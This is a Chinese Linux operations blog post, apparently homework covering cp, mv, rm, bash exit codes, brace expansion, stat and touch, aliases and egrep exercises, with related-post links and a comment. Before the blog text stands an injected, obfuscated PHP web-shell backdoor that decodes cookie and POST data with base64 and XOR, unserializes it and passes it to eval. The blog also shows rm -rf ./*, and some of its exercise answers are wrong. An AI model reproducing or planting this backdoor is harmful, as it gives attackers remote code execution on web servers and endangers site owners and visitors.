$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 第二周博客 | Linux运维部落

第二周博客

I. Linux的文件管理类命令 

    

cp: copy,复制命令,使用格式为cp Address1 Address2(Address可以是文件,这样的话即为复制文件的内容)

31.png

复制etc目录下的fstab文件至tmp目录下。

41.png

如果目的地不存在,系统会自动创建一个新的文件并把内容覆盖上去。

mv: move,移动命令,使用格式为mv Address1 Address2,和cp命令很像。

42.png

rm: remove,删除命令,使用格式为rm FILE。

43.png

然而rm命令不能直接删除文件夹。为此需要rm -rf这个选项。

-r即recursive,-f即force。

44.png

还有比较常用的是rm -rf ./*,即删除当前文件夹下所有文件。

II. bash的工作特性

bash shell中每一个命令执行完之后会有一个状态返回值,可以用echo $?来查看。

这个返回值代表最近一次命令执行的结果。0代表成功,1代表失败,2至255也代表失败,每个的意义不同。1是最常见的。

46.png

命令行展开这个特性包括了~和{}。

~代表当前用户的家目录。

45.png

{}的使用方法如下。

比如说我们要创建/tmp目录下的:a_c, a_d, b_c, b_d

一般我们需要输入4次。

而是用命令行展开的{}则很简洁。

47.png

再比如我们要创建/tmp/mylinux目录下的

mylinux/

    ├── bin

    ├── boot

    │   └── grub

    ├── dev

    ├── etc

    │   ├── rc.d

    │   │   └── init.d

    │   └── sysconfig

    │       └── network-scripts

    ├── lib

    │   └── modules

    ├── lib64

    ├── proc

    ├── sbin

    ├── sys

    ├── tmp

    ├── usr

    │   └── local

    │       ├── bin

    │       └── sbin

    └── var

        ├── lock

        ├── log

        └── run

48.png

一个命令即可搞定。

III. 文件的元数据和时间戳


我们用stat命令来获取文件的元数据。

49.png

文件的元数据包括了文件名,文件大小,文件类型,文件归属,文件访问读写执行权限,文件的时间戳等等。

我们可以用touch命令来修改文件的时间戳。

50.png

可以看到touch命令将文件的时间戳改成了现在的时间。

touch命令有几个常用的选项。

比如-d,可以将修改的时间变为指定时间而不是当前时间。

51.png

比如-a为只修改Access时间,-m为只修改Modify时间等等。

IV. 如何定义一个命令的别名

使用alias命令即可定义别名,格式为alias NAME=“COMMAND”

52.png

即将rm -rf的别名设置为die。

我们使用unalias可以取消这个别名。

53.png

如此定义的别名只对当前shell进程有效。若想其永久生效的话,需在/etc/bashrc或~/.bashrc文件添加一行这个命令。这样的话shell进程启动会自动读取这个配置。

V. 如何在命令中引用另一个命令的执行结果?


我们使用管道(pipe)。

比如我们将echo的内容进行egrep搜索。

54.png


VI. 练习


Q1:显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。

A:   egrep "^I.*[[:digit:]].*[[:lower:]]$" /var

Q2:显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。

A:     egrep "^[0-9].*[^0-9]$" /etc

Q3:显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。

A:     egrep "^[^a-zA-Z][a-zA-Z].*" /etc

Q4:在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。

A:     touch tfile-"$(date +%F-%M-%H-%S)"

Q5:复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。

A:     cp -r /etc/p*[^0-9] /tmp/mytest1

Q6:复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。

A:     cp -r /etc/*.d /tmp/mytest2

Q7:复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

A:     cp -r /etc/[lmn]*.conf /tmp/mytest3

原创文章,作者:mercerchen,如若转载,请注明出处:http://www.178linux.com/25740

(0)
上一篇 2016-07-26 17:08
下一篇 2016-07-27 09:22

相关推荐

  • #!/bin/bash # for i in $(ls /etc/rc.d/rc3.d/ | grep  "\<K");do     echo $i.stop    &nbs…

    Linux干货 2016-12-26
  • 马哥教育网络班21期+第二周博客作业

    1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 Linux下常见的文件管理命令有:touch、cp、mv、rm、cat等 touch 描述:创建一个空文件,或者更新时间的时间戳 [root@zabbix wanwan]# touch wanwan02 [root@zabbix wanwan…

    2016-07-16
  • 计算机基础知识

    计算机基础知识 计算机系统 计算机的功能 冯诺依曼体系的五大基本部件 操作系统 Linux操作系统的组成 操作系统的功能介绍 开发接口标准 操作系统的分类 Linux 操作系统 Linux的发行版详解 Linux哲学思想 Linux系统镜像站点 计算机系统 计算机系统由硬件 计算机系统由硬件(Hardware) 系统和软件(Software)系统两大部分组成…

    Linux笔记 2018-05-07
  • 源码编译安装apache httpd-2.2.29

        1.程序包编译          程序包编译安装:   (需要gcc、make工具)            &…

    Linux干货 2016-08-24
  • 第一周博客作业

       本文介紹計算机的组成及其功能 、Linux各版本的联系与区别、Linux的哲学思想、Linux系统上命令的使用格式及介绍部分命令、如何在Linux系统上获取帮助信息以及Linux发行版的基础目录名称以及规定。 一、计算机的组成及其功能 1)什么是计算机? 想了解计算机的组成,首先得了解计算机的含义。计算机其实是:接收用户输入指令与数…

    Linux干货 2016-12-04
  • CentOS系统/boot/下的文件恢复

    如果不小心删除了/boot/下的所有文件,不知道恢复的具体步骤,请您看这里!

    2018-05-11

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-27 11:04

    写的很好,排版还可以在漂亮一点,不要截黑屏了,加油